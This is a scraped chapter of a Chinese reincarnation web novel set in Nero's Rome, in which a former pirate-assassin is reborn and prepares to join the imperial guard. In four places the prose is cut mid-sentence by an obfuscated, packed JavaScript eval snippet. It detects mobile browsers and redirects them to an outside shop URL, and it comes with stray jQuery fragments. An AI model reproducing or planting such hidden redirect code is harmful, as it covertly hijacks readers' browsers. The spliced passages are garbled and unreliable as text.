《我浇灭了他的火暴》
1. 重生
罗马的军营,到处都是飞扬的尘土。
一只只乌黑的木箱被绳捆在一起,干裂而破旧,远看象一大滩黑泥匍匐在地上。木板的缝隙间泄露一些脏兮兮的盐粒。
士兵刚刚结束训练,手里提着柳条盾和木剑。他们多半赤膊,浑身汗津津的,象一条条粘腻的蛇。
他们嬉笑着,从营地门口排起长队,依次扛走一只木箱,脸上多半是喜悦的表情。
木箱里装的是食盐。在罗马,士兵的军饷有一部分由食盐来支付。
罗德将领来的木箱拖进帐篷。汗水在他的下巴尖凝成一颗钻石般的汗珠,顺着他脖颈的轮廓流下去,沾湿了粗麻的黑衣领。
帐篷里很昏暗,憋闷的空气好象不能流动的蜡油,死死封住他的口鼻。
罗德利落地拔出剑,用剑尖挑开不远处的帐帘。
刺眼的阳光象火焰一样扫进来,他的黑眼睛里顿时生长出两枚火星一般的光亮。
他嗖地一声收回剑,直接用脚掀开了箱盖。
箱里的食盐很粗硬,夹杂着一些黑褐色的石砾。盐粒呈现出怪异的蓝绿色,象沾染了某种未知的毒素。
罗德神情微变,嘴角仍是顽固地紧绷。他抓起一点盐粒,凑近鼻尖闻了闻。
这是属于海洋的腥咸味。
他对这个气味相当熟悉,甚至熟到了深入骨髓的地步。
帘子被掀起,一个小个子士兵探头进来。他长着一头油腻的金发,一双小三角眼很市侩气,在油得打绺的额发间冒着精光。
“这个月的军饷发了霉,看起来就象一粒粒中了毒的沙子!”他指了指箱子,调侃道。
“这不是发霉,维吉尔。”罗德将盐粒捻一下,“但可以肯定这不是正规的官盐。”
维吉尔挑了挑眉,从怀里掏出一枚金币,“接着它。”
他把金币抛了过去。
金币在空气中打了几个滚,被罗德一把接住。
“军饷出了严重的问题,这是我们每个人得到的补偿。”维吉尔说,眼里有一丝精明,“说白了……就是我们的封口费。这件事可绝不能对外说!”
罗德想了想,猛地攥紧手里的盐粒。他的眼睛变得象鹰眼一样锐利,整个人都敏锐起来,处于一种蓄势待发的架势。
他放低声音说:“军队拿私盐充军饷。”
维吉尔从鼻孔里发出轻嗤,一副忿忿不平的模样:“哼!那些元老将军们瞧不起商贩,却成了商贩中最会投机倒把的一类!”
他抱怨完毕,脸色象变戏法似的,又变回了那副市井小民的样子。
他把金币硌在牙上,用劲咬了两下,“不过……这枚金币抵得上我半年的军饷,足够让我闭嘴了。”
他佝偻着瘦小的身子,一脸得意地放下帐帘,象只灵活的猴子一样消失了。
帐帘没有合紧,留下一道极细极易折的缝隙。
罗德合上木箱,摊开手掌。
从帘缝间溜进来一束阳光,打在金币上。
金币表面雕刻着皇帝的半身像,熠熠闪亮,与阳光一齐刺痛了他的眼。
一段难受的回忆涌现上来……
幽暗的木屋里,罗德虚弱地蜷在床头。
他面色惨白,全身流淌着冷汗,意识象一滩烂泥一样散乱。毒|药的作用使他腹中绞痛。他象快要溺死一样,呼吸剧烈而急促。
他捂住心口,指间露出一枚与贫贱的身份完全不符的金戒指。
“难受吗?罗德。”声音从门口传来,“念在你曾为我卖过命,我替你选择了最快的死法。”
罗德艰难地睁开眼。
花成一团的视野里,有一张白底红条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239618|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纹的托加袍,象鬼影一样幽幽闪闪。这是元老的标志性穿着。
“安……安东尼……”罗德死盯着他,干涸的嗓子一点点挤出他的名字,“你为什么要杀我……”
元老走到床边,笑了两声,“因为你的悬赏金,快要赶上前一任皇帝了,罗德。你的命,值一船昂贵的丝绸。”
罗德揪紧胸口的衣服,指间的金戒指熠熠闪光。
“噢,让我瞧瞧,这是多么纯正的黄金。”安东尼故作惊叹道,“他死在你手里,你居然还心安理得地享受他的遗物……”
罗德呼吸沉顿,眼睛里闪过一丝悲切。
元老缓缓转动他指间的金戒指,弯腰凑近说:“我只是雇佣你去杀他,可没让你擅自拿走他的东西……”
罗德心里一颤,眼前象是被墨水淹没一般阵阵发黑。他大限将至了。
元老把金戒指摘下来,套在自己的手上。
戒指的金光象游珠一样浮动在黑暗里,罗德失去了意识……
回忆在窒息感中结束。
罗德嘴唇紧抿,痛苦象幽野鬼火那样在他眼底忽闪一下,即刻就化为乌有了。
他握紧金币,沉默地走出帐篷。
此时外面已空无一人。
火把还没熄灭。火光曳动,在暗色中很象跳动的碎金。一切都是这样沉寂,沉寂得连火焰跃动都成了一种累赘。
罗德取下火把,走到灭火用的水盆前,向里冷冷地扫一眼。
水面上的他黑发黑瞳,长发垂落到肩胛,英挺的鼻梁牵动着双颊。他脸部的线条十分深刻,肌肉纤长,具有希腊时代的古典美,却隐含一丝危险的意味。无疑,他的外表极其英俊;而这种俊美,是以一种威慑力的形式表现的。
时光倒退了十六年,他回到了二十岁,年轻而健康,却一无所有。
2. 尼禄回城
罗德再回到帐篷时,维吉尔已经站在里面,满脸堆笑,手里晃着一只小药瓶。
“你的解药。”他说。
他故作劳累地捋一把头发,硬挤出一个伤痕累累的神色,火光象两枚钱币一样映在他眼里,“我可是跑遍整个拉丁姆区,才买到了所有药草,累得象剧场里拉车的赛马……”
罗德会意。他胳膊一扬,将刚刚领到的那枚金币扔过去,“劳务费,给你的。”他说。
他的肩膀平直得象陡峭山崖,此时也扯动一下,传来皮肉撕扯的疼痛。罗德下意识捂住了那里,手指微微颤抖。
他的指甲根部有隐约的黑色,象没有擦拭干净的烟灰。
维吉尔象一只训练有素的军犬,准确无误地接住飞旋而来的金币。他吹了吹钱币,小心翼翼地摩挲着,笑得鼻子都皱缩起来。
罗德用两指捏住衣领,一下子就脱掉了上衣。
他的肩膀横亘一道刀伤,暗红的鲜血从绽开的皮肉里渗出,晕染了整个胸膛,粘乎乎的,象一滩吸附在皮肤上、饮饱了血的寄生物。
维吉尔盯过去,叹了一口气,“那些蛮族杂碎……只有在搞歪门邪道时才不会蠢笨如猪!”
罗德按了一下伤口,涌出浓稠的血液,那是不怎么健康的颜色,被他草草地揩掉一些。
刀伤在重生时就已经存在了,是不久前在叙利亚打仗时留下的。
——叙利亚人将毒|药涂抹在刀刃和箭头上,罗马士兵因此遭受许多额外的伤害。
罗德所中的毒叫“毒苇”。少量的毒苇会使人指甲发黑。
“毒量并不大,完全可以医治。”罗德镇定地说。
他潦草地清理了血迹,果断地端起烛台,用明亮的火焰炙烤伤口。
伤口象被烙铁烫伤一样疼。剧痛使他呼吸急促一下,他的双唇象被魔鬼抚过一样瞬间失去血色,额头渗出细密如针的汗珠。
他的眼前浮起一层剧痛带来的雾气,却被他硬生生压制下去了。
维吉尔显现出一分恻动,叹息道:“你那张冷冰冰的面具,不必时时刻刻都戴在脸上……”
罗德没有理会。他挖出药粉,涂抹在消毒后的伤口上。
维吉尔自知无趣地嘘一声。他挑起眉,换上一副神秘兮兮的表情:“你听说那个消息了嘛?”
罗德瞥他一眼,嗖地一声拔出长剑,翻手甩掉上面的泥沙,用湿布擦拭脏污的剑刃。
“什么消息?”他随口一问。
他冰白的指头在剑刃上移动,象一闪而过的剑芒。
“奥古斯都的后人要回罗马了,和他的母亲一起……”维吉尔说,“整个军团都在议论这件事。”
罗德的手指猛然顿住,象琴弦绷断一样突然。
“唉……”维吉尔轻叹,“他和他的母亲在希腊的荒岛上流放了十年!他的父亲在他两岁时就因为水肿死了。噢……他真是个不幸的孩子!”
罗德垂下头,整张脸都淹没在阴影里,于是他说的话也蒙上一层阴影:“他真是不幸……”
维吉尔挠了挠腮帮子,一脸八卦好事的神情,使他就象一个市井里的老妇那样庸俗。
“据说……他的父亲还留下了遗言,说他今生只能成为一个怪物……”维吉尔摸着下巴说。
罗德将剑锋旋转一圈,白亮的剑芒象虹光一样闪过他的面庞。
“他什么时候回城?”他声音低沉地问。
“两天后?三天后?谁知道呢……总之快了!”维吉尔耸耸肩,“他进城那天,玫瑰花瓣和欢呼声一定会把罗马城淹没的。”
他吸了吸鼻子,发出遗憾的叹息:“……可惜我们的军营不在罗马。不然我去贩卖玫瑰花和干果,一定能大赚一笔!”
罗德不发一语。
他将还没擦干净的长剑归入剑鞘,扣出闷闷一记轻响。
……
仲夏的落日象在流血,血色渗透在层层云间,宛如某种血红的活物游走其中。
罗德接到奴隶的口信,走到帐篷外,看见了一个一身戎装的、极瘦的身影。
在干燥旧黄的土地上,他就象一颗悲剧的、被晒干的枯草生长于此。
罗德绷紧的唇角有一丝松动。
“马尔斯。”他显露出隐隐的惊喜,“好久不见了。”
马尔斯听到他的呼唤,微笑地转过身来,手里还提着纸袋。
他不过年近四十,还十分年轻,却是一副病恹恹的样子。重病使他骨瘦如柴,鬓角已生出华发,嘴唇和指尖有轻微的、病态的青紫。而只有他那双浅绿的眼睛依旧澄澈,永远都是他年轻时候的光彩。
马尔斯在军团担任百夫长的职位,属于贵族中的骑士阶层。
罗德没有母亲,从小在军营长大。在父亲抛弃他之后,马尔斯一直对他悉心照料,才使年幼的他得以存活。
“我被调去了罗马。如果没记错的话,我们已经有半年没见面了……”
马尔斯的声音被病痛累赘,显得缓慢而沙哑。他一开口,那种浓烈的病气就能从旁人的耳朵传到脑际,给人一种悲哀的、病痛的气质。
“你不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239619|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
必过来,马尔斯。”罗德说,“相比起练兵和赶路,你更应该静养和休息。”
马尔斯咳嗽两下,“医生说我的心脏还能再跳一年。那就让它有点用武之地,不要在病榻上苟延残喘……”
他递过去一个沉沉的纸袋,“我为你带了只能在罗马买到的烤孔雀肉……”
罗德接过食物,捧起他的手背礼貌地吻一下。
“谢谢你,马尔斯。”他柔声说,“你总是对我无微不至。”
他漆黑的眼睛有浅浅光亮,灵活地跌宕一圈。
马尔斯注视着他的眼睛,被什么触动,有着灵魂脱离的怔神。他的绿眼睛迸发出细碎的悲恸,“你知道吗,泰勒斯也曾对我说过这句话。你和他长得太像,刚才的那一瞬间几乎让我回到过去……”
罗德脸上的笑意淡化,淡漠地说:“不提他。”
“噢别这样,罗德。”马尔斯面带悲伤,“他抚养你到两岁。我记得他偷偷拿盐去换鲟鱼干给你吃。在你生病时急得满头大汗,宁愿触犯军规也要闯出军营带你看医生……”
罗德眼光幽沉,“然后为了进入近卫军,在我三岁时丢下了我。”
马尔斯一时语塞,想说些什么,但还是硬生生吞回肚里,“你要坚信,他是有苦衷的。”
“很抱歉,马尔斯。对你来说他是个好朋友,可对我来说他不是个好父亲。”罗德回绝道,“他刺死皇帝,被钉死在十字架上,也证明了他不是一个好近卫。”
马尔斯捂住胸口咳嗽一会,抬眼瞥看他一眼。罗德顽固的身影就和天边的地平线一样硬而冷。
“唉……”马尔斯轻叹,“其实我今天赶来,是想告诉你一件事。”
罗德已有预料,侧过脸问:“什么事?”
“奥古斯都的后人快回皇宫了。为了保护这位尊贵的大人,近卫军开始招揽新人……”
马尔斯犹豫一下,打量罗德的脸色说:“我推荐了你。”
罗德不禁意外。前世时,马尔斯从未跟他提过这件事。再来一世,命运的走向已经发生偏差。
近卫军是罗马皇室的私有卫队,是唯一可以驻扎在罗马城的军队,只有武力精湛的精英士兵才能加入,是罗马军人的最高殿堂。
马尔斯继续道:“请原谅我的自作主张,我的孩子。要知道,你的实力值得近卫军这个称号。如果那位大人足够信任你,还会提拔你做他的贴身亲卫!”
罗德的眼瞳象深不见底的冥渊,此时有聚光雀跃,犹如照亮万古幽暗的磷火。
他点头答应了。
3. 巨渊之虹
征入近卫军的手续比较麻烦。
被推荐的士兵需要乘船去一趟罗马,经过严格的体检,确保没有疟疾之类的重病,才会被颁发一块刻着“征入”字样的银牌。
罗德穿一身黑衣,手上包裹着黑色的皮手套,莹白的指头从半截指套伸出,有一丝禁欲的气味。他那披散着的、有点凌乱的长发几乎与黑衣相融,只留出一截线条深邃的脖颈。
他站在甲板上,右手习惯性地按着剑,永远都是一副严阵以待的样子。
此时正值落日西沉。
斜阳的橘红象鎏金泼洒在蓝海上,仿佛海底里烧着一把红火。整条船被染成落日的暮色,宛如一颗滚动在蓝绸缎上的金球。海平线是一道深色的蓝线,紧紧箍住所有景致。
海风裹挟着腥咸的气味,在鼻尖下涌动。这是罗德最熟悉的景色。
当年,年少轻狂的他在退役后,为了追求冒险和刺激,隐姓埋名去了海上,做过很长时间的海盗。
因为出众的武力和美貌,众多海盗都甘心簇拥他。他劫掠了数不清船只和奴隶,杀人无数,被手下美誉为“巨渊之虹”,在海上绝对是风头无两。
然而,海盗的日子朝不保夕。
在被军队追逃到失去船只时,迫于生计的他只好接受一些贵族的雇佣,为贵族们卖命,依靠巨额的雇佣金渡过最艰难的时日……
身后传来呕吐的动静,罗德转身看过去。
一个黑人士兵被奴隶扶出船舱。
他体格极为健壮,隆起的肌肉象块块铁甲,五官攒成一团,眼白出现了黄疸。他扒着船栏剧烈地呕吐,宽厚的脊背象鲸鱼一样起伏。
一旁的奴隶屏住呼吸,尽责地拍拍他的后背。
黑人暂时吐完一轮,在搀扶下慢慢滑落到甲板上,用袖子擦一把嘴角,大口喘着粗气。
“给你这个。”一个声音象冰刃一样刺过来。
黑人被惊了神,呼吸一滞,一抬头正撞上罗德的黑眼睛。
罗德站到他面前,面无表情地俯视他。他微微弯腰,手里捏着两颗以醋腌制的橄榄。
黑人愣了一下,没有接过来。他的脸庞如煤块那样黝黑,眼珠微颤,一脸怀疑地说:“这个……能有用吗?”
罗德不由分说,一下子把橄榄按进他嘴里。
“这是用醋泡过的。”他态度强硬,“可以缓解你的呕吐症。”
醋橄榄味道酸苦,黑人费劲地咬两口,绞紧了眉头。
罗德站直身体,转头对奴隶吩咐道:“用海水煮一点洋葱和葡萄,熬成象胶水的黏浆一样给他喝,再加几勺蜂蜜。”
奴隶眨两下眼睛,疑惑道:“可是……蜂蜜会让人腹泻。要知道这在海上可是致命的……”
“蜂蜜可以盖掉辛辣味,而且和葡萄浆混在一起反而能抗腹泻。”罗德扫他一眼,“如果你不想让他因为洋葱的怪味把胃肠都呕出来,最好按我说的办!”
奴隶惊愣住,问道:“您……您是医生?”
“我不是。”罗德笑笑,“我只是在船上吐过太多次了,绝对比你们两个加在一起都多!”
……
抵达罗马之后,罗德很顺利就通过体检,拿到了准入近卫军的银牌。至此,他便能以皇宫近卫的身份,永久定居于罗马。
而就是这一天,恰逢奥古斯都的后人乘着马车回城。
如细箭一般的青云横亘于落日,于是太阳象被这道箭刺穿,流淌的日光象金黄的液体,洇开在天际。
罗马的街道狭窄,在日落时就显得泛黄。人们站在街道两侧,抛洒玫瑰花和榛果。全身涂满油彩的演员沿街跳舞,乐师坐在牛背上吹着长笛。整个罗马热闹得象沸腾的开水,人们就象庆祝农神节一样狂欢。
罗德挤在人群中,四周人头攒动,呼喊声从四面八方涌来,没有消停的时候。他就象一枚牢固的钉子钉在地上,不为所动的模样。
在纷纷扬扬的花瓣和香水中,马车跟在乐队后驶来。
罗德猛地握紧了剑柄。
马车顶着宝石红的华盖,被四匹铜红色的骏马拉动着走动。在铺天盖地的金红夕阳中,就象一颗混入黄金的朱砂。
所有罗马人都清楚,那里面坐着的,是开国皇帝屋大维的直系血亲。
车帘被风吹开,一小截骨鳞紫的袖口翻飞出车窗外。
这种颜色提取于一种极为珍稀的贝壳,唯有王公贵族才能享用。
熟悉的紫色,如狡猾的游鱼小嘴,顺着视线咬过来,不知不觉就抵达了眼底,再沿着血管一点点啃噬到心脏。
罗德被这啮咬般的动静触动,思绪倒回到过去。
……
空旷的庄园十分荒凉,杂草丛里横着一具温热的尸体,那是皇帝的亲卫。
罗德提着滴血的短匕,透过厚重的青铜面具,一步步走近众叛亲离的皇帝。
行省的军队纷纷造|反,元老院将皇帝判为“国家公敌”,法院以高额的赏金对他发起通缉。就连以守护皇帝为责任的近卫军,都发动政|变,准备拥立新的皇帝。
从神庙里的祭司到贫民区的庸人,所有人都唾弃这个弑母的、残忍的暴君。
尼禄到了走投无路的地步。
“连你的亲卫都想杀你换取赏金,”罗德甩去匕首上的血珠,“我顺手替你解决了他。”
尼禄坐在地上,披着破烂的紫袍,背部佝偻得很厉害,还有一双变形的罗圈腿。元老院里弹劾他的人,喜欢在演讲时以他身体的缺陷而讥笑他。
在人脉复杂的海盗生活中,罗德曾听说过,皇帝的残疾是遭人下毒所致的。
“然后呢?你也要解决我了,对吗……”尼禄嗓音嘶哑,象呛了一口烟,吐出的字带着一粒粒烟灰,“我的命很值钱的。”
罗德扶正面具,从面具的眼孔里望着狼狈的皇帝。
“我认得你。你是那个‘巨渊之虹’,那个为了猎取雇佣金到处杀人的海盗。罗马的每条街道都挂着你的通缉令……”尼禄仰视他说。
罗德冷冷笑一声:“我既然选择做臭名昭著的海盗,本来就不在乎这些。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239620|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
尼禄微垂眼睫,浅棕色的眼眸半阖成一道缝。尽管有身材上的缺陷,他的眼睛象井水一样明澈。
“我是一个将死之人,希望明明白白地死去。”尼禄说,“我想问你,雇佣你来杀我的,是谁?”
罗德的双臂交叉在胸前,往下斜他一眼,沉默起来。
按照雇凶的规矩,杀手是不能透露雇佣者的身份的。
“算了……”罗德妥协了,“安东尼·奥托。见我的时候,他穿着白袍子,大概是一个巧言善辩的元老吧。”
尼禄自嘲地笑一声,脸上流露出悲哀的神色。罗德看到,他的鼻梁上有一小片淡褐的雀斑。
“可以了。”尼禄镇定地说,“你现在可以杀死我了。”
罗德提着短剑,走到他面前,与孤身一人的皇帝对视着。
尼禄仰头,望着他的黑眼睛,棕色的瞳仁的聚光闪亮,象蜡烛燃尽之时的回光。
“你的眼睛很美,就象艺术。”他忽然开口,“在海上呆得久了,你的眼睛也沾了盐粒吧。”
罗德笑道:“说好听的话来讨好我是没用的。”
他弯下腰,冰冷的青铜面具碰上尼禄的鼻尖,两人距离极近,“不过……我杀人的经验很丰富,绝对会让你毫无痛苦地死去。”
尼禄表现得仍然很淡定。他抬起手,凝视指间的金戒指,将它摘了下来。
“谢谢。比起落入痛恨我的元老手里,被你干脆利落地杀死,也许是我最好的选择。”尼禄将金戒指递过去,“作为回报,我把皇帝的印章戒指送你。它现在还有法律效力,你可以拟一张特赦令,再盖上它,就能洗脱罪名、恢复公民的身份。”
罗德感到诧异,盯着皇帝这双宛如琥珀的眼睛,半天都没说话。
尼禄捧起他还拿着短匕的手,将金戒指套在沾着血的无名指上。
金戒指体积很小,但重量不轻。罗德眼光深沉,问他道:“你还有什么心愿?我可以帮你实现。”
尼禄笑两声,苦涩地说:“我已经被逼到绝路,早就失去对命运的希冀。不过非要说一个的话……”
他认真地说:“可以把面具摘掉吗?我想知道自己死在什么样的人手里。”
罗德犹豫一下。自从当了海盗,除了睡觉的时间他都会一直戴面具。之所以通缉多年仍未被捕,与这一严苛的习惯离不开干系。
识趣的尼禄就趁罗德愣神的时间,猛然抓住他握着短匕的手,扎进自己的脖子。
……
罗德从满目血光中回过神。
马车已经走得很远了,四周却喧闹依旧。
男人将孩子扛在肩头,头顶瓦罐的奴隶看着热闹,有顽童捡起地上的干果,剥开壳吃掉;有几个奥古斯都的崇拜者,竟然跪下来亲吻马车的车辙。温和的夕阳让一切都显得安宁,是没有任何痛苦的。
那些悲剧都还没有发生。
罗德淡定地拍掉落在肩膀上的花瓣,注视着被前呼后拥的马车。
“久违了。”他自言自语,“尼禄。”
4. 决定命运的三个人
日落后,街边两侧的火盆里还燃着炭火。此时人群都已散去。
罗德脚踩一地花瓣和果壳走去近卫军的营地,手里按着他的剑。他的影子被落日余晖拉得很长,象一笔泼在金色颜料上的黑墨。
突然,一串叮叮当当的声音响起在耳后。罗德几乎是本能性地拔剑,剑光如游鱼那样一跃,就抵在来人的脖子上。
维吉尔睁着眼,惊吓得满脸通红,血色好象瞬间固化在他的脸上。他腿脚打晃,手里的铜钱撒了一地,比他的头发还要油腻发亮。
罗德顿一下,收起了剑。他打量着一身粗布的维吉尔,说:“怎么是你。”
维吉尔捶了他一拳,鼻孔里喷出呼哧呼哧的气,瘦小的身体扭动几下,象一只抓耳挠腮的猴子。
“我的灵魂都被你吓回科西嘉的军营了!”他声音发抖,“老天爷总是不让我这种善人好过!”
罗德扫他一眼,“你从军营里逃出来了?”
“不算逃。”维吉尔抹一把鼻子,蒜头鼻滑稽地动一下,“我给了看守的兄弟一点好处费,不过今天晚上就得赶回去……”
罗德将有些松懈的手套绑紧,坚硬的肩膀象一只躺卧着的弓。
他面色冰冷地问:“你来罗马做什么?”
“当然是赚钱!”维吉尔把钱袋放在脸前摇了摇,发出清脆的撞击声。
“光是涂抹着松香的火把,就让我赚了五百个塞斯特斯!我简直就象神庙里的石雕兽嘴一样被人塞满了钱币!”
“你真是长了一颗钱币形状的心脏。”罗德讽他一句,尖锐的眼角勾起极为浅淡的笑意。
“我乐意!”维吉尔把钱袋揣进怀里,眼里有一贯市侩气的精明,“罗马城里的人真是有钱,狂欢的炭火昼夜不息!等我退役之后,我就要在这里贩卖火把、油脂和干草,那时候我的门槛都要被这些有钱人踏破!”
罗德勒紧剑鞘,睫羽低垂着,象打磨得光亮的薄刃。他的双脚象剑锋一样迈出一步,一举一动都有一点决然的意志。
“那就祝你早日成为腰缠万贯的燃料商!”说完,他就转过身准备离开。
“别急嘛……”维吉尔挽过他的肩头,嬉皮笑脸的模样。
他粗短的指头在衣领里摸了摸,挖出一根青铜制的条状物,上面雕刻着维纳斯与她的儿子丘比特在相互拥抱。
那是每个罗马人都戴过的护身符。由于出生的婴儿有一半都会夭折,父母便给刚出生的孩子戴上护身符祈求平安,直到十五岁成年才能摘下。
“你没有戴过这个,体会不到它的好处!”维吉尔将护身符挂在罗德的脖间,有一丝认真宛如浮云流动在他吊儿郎当的气质里。
“我曾经倒卖过私盐,偷喝过指挥官的葡萄酒,还违反过军令偷偷去了趟妓院。但都没有受到惩罚……大概就是因为它!”
罗德摩挲着护身符,眼里有一闪而过的暗光。
“临别之时赠送礼物……”维吉尔摆出一副骄傲的表情,直白地自夸一句,“怎么样?我是不是个义气的朋友?”
眼前的场景其实罗德无比熟悉,如穿熟了又压箱底的内衣,如背会了又阖上的羊皮纸,抑或是旋律哼烂了、又不再唱的过时歌谣。
总之,是那种隐隐藏在记忆里、偶尔跳出来使人回忆和喟叹的东西。
当年,尼禄也是这样把最珍贵之物送给了他。
——以及他的生命。
罗德眼睛低垂,思绪有些脱离。他坚冰般的唇线微动,几乎是在向记忆里尼禄的旧影说道:“谢谢你……”
他眼睫的影子被余晖拉长,那抹睫影宛如尖锥,好象仅仅看一眼就能被刺伤。
维吉尔盯他一会,表情松动,发出长长的叹息,“唉……”
罗德整理好领口,瞥看他一眼。
维吉尔动作夸张地摊开手,阴阳怪气地说:“你这副堪比红玫瑰的皮囊,究竟要饱蘸多少人的鲜血?!”
罗德发自内心地鄙夷他的夸奖。
……
近卫军驻守在皇宫附近,集中居住在一栋别墅里,方便皇室之人随时调遣。
每名新来的近卫军都分配了独立的房间,别墅里还有供人差遣的公共奴隶。
罗德没有行李,随身只携带一把剑。他在门口做了登记后,随奴隶的指引来到自己的房间。
此时已是深夜。
奴隶燃亮蜡烛,替罗德铺平床铺。
“这里应有尽有!”奴隶介绍道,“午餐有鱼酱和鹅肝,晚餐有温好的羊奶和鱼肉。这里还有昂贵的冰块,不过您得付钱才能用。如果您需要,还可以从餐桌上带走一些橄榄油,在洗浴时用它刮身子。餐厅里随时都有葡萄酒供应,那可是从高卢进口的高级货……”
“有啤酒么?”罗德将长剑挂上木架,随意地捋一下有点凌乱的头发。
奴隶惊诧一下,回答道:“……没有,啤酒是一种低廉而劣质的饮料。”
罗德冷哼一声,不屑一顾的样子,“那算什么应有尽有?!”
他一脚蹬上书桌,再猛地跳到旁边的窗台上,用膝盖一下子撞开百叶窗,动作极其随性。
奴隶有些瞠目结舌。
罗德从海盗变回了士兵。他积累多年的海盗习气,就象酒瓶里的酒倒光,还残留下来的浓烈酒气。
他坐在窗口,夜风使他的长发象黑色火焰一样跳跃在鬓角。他仰着头,小腿垂落到窗外。
这个角度能让他瞧见皇宫宫殿的一点尖顶。视野中,那点尖顶的剪影正好嵌在月亮中央,好象月亮被这尖顶戳裂了一般。
他沉默一会,忽然抬手指向外面:“那就是皇宫?”
“是的。”奴隶恭顺地答道,“这里距离皇宫不到五十罗步。走过去的话,水钟的走线都不会超过半格。”
罗德眼睛下移,定定地凝望宫殿墙壁上五颜六色的壁画。
“紫色……”他突然抬手,指着壁画上的油彩,把奴隶吓了一跳,“它脏了以后和其他颜色也没什么两样。”
奴隶见他神思游离,善意地提醒道:“您舟车劳顿,最好今晚早点休息。明天您还要参加多米提乌斯大人的占卜仪式。大人们是最接近神的凡人,他们热爱与神明沟通……”
“多米提乌斯?”罗德疑惑,“就是尼禄吗?”
“……是。”奴隶应声,“不过我们不应该直呼大人的名字,您说对吗?”
罗德没有理睬他的建议,固执地沉默。他的头发早就被夜风吹乱,他也不去管。
奴隶有些无奈,尴尬地清清嗓子,继续道:“我必须要提醒您,占卜之后还有一场竞技表演,大人的所有近卫都要参与其中,当然也包括新来的您……”
罗德抓一把头发,看似不经意的样子,“竞技?”
“是的。”奴隶点点头,“流血与战斗是对神明的最高回馈,这是占卜的惯例。”
说着,他朝罗德走近两步,眼神躲闪起来,“那个……您需不需要一些特殊的武器……”他放低声音说。
“什么武器?”罗德微微偏过脸。
“就是一些藏有机关的刀剑叉戟。”奴隶有点心虚地说,“很多近卫都偷偷买了这个,虽然价钱有些贵,但关键时刻说不定能挽回性命……贵族大人们只顾着观赏鲜血,不会追究这些小把戏的……”
罗德拿出一枚银币,拇指一弹,银币在空中翻滚几圈,当地一声掉在奴隶脚边。
奴隶心生欣喜,连忙捡起来,“您是想买双刃弯刀还是……”
“我用不着那些!”罗德勾起一个不羁的笑容,“这是赏你的。”
奴隶难以置信。他呆愣一会,下跪道谢后退去了。
罗德用指头抵开被风刮得乱扇的百叶窗。他的指甲在月光下移动,呈现出非常健康的肉色。
这意味着,他体内的毒苇已经完全祛除了。
……
占卜那天,罗德随队伍一齐来到圣殿时,尼禄和他的母亲已经坐在远处的帷幔里了。
母子俩的身影被金线纱帐罩住,影影绰绰的,象两团飘忽不定的雾团。
上一世,预言师对尼禄做出了两个预言:
第一个,是尼禄会当上皇帝,但也会犯下弑母的罪行;第二个,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239621|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一生中所有劫难,都是火带来的。
当年,这两个预言被传得纷纷扬扬,终究都成真了。
尼禄在即位后,派近卫军杀死了母亲;后来又因为一场烧了三天三夜的大火,元老院开始弹劾他,怀疑他为了扩建皇宫故意纵火。自那以后他失去了民心。
预言台立在高处,象牙台面上刻满了拉丁字母。月光透过穹顶的中空投下来,象一根光柱罩住预言台。白蜡烛铺设地面,象海底珊瑚上的细小茸毛。头顶白纱的祭司围着台面,手里摇动金铃铛。铃铛声象煮沸的水汽一样蔓延开来。
整个厅殿都被金色的烛光充盈了,连空气里的灰尘都凝结成一颗颗悬浮的黄金。
近卫军穿着灰铁色的戎装,列在预言台下,远看象一片熔化的、即将凝固的铁水。
罗德戴着铁制的头盔,口鼻被紧密地包裹。他锋利的眼角也被头盔挡去一些,只留下一双冷峻的黑眼珠。
占卜仪式很快就开始。
头发全白的预言师已然是一名老者。他披着白袍,头顶系有轻飘飘的白绸缎,手持一根青铜杖,杖顶雕刻朱庇特的神像。
他稳稳地走上预言台,身后还跟着两名圣女,一个怀抱公鸡,一个手捧小麦。
他的神情象朝圣一般虔诚,整个人都被一种绝对的信念支配着:
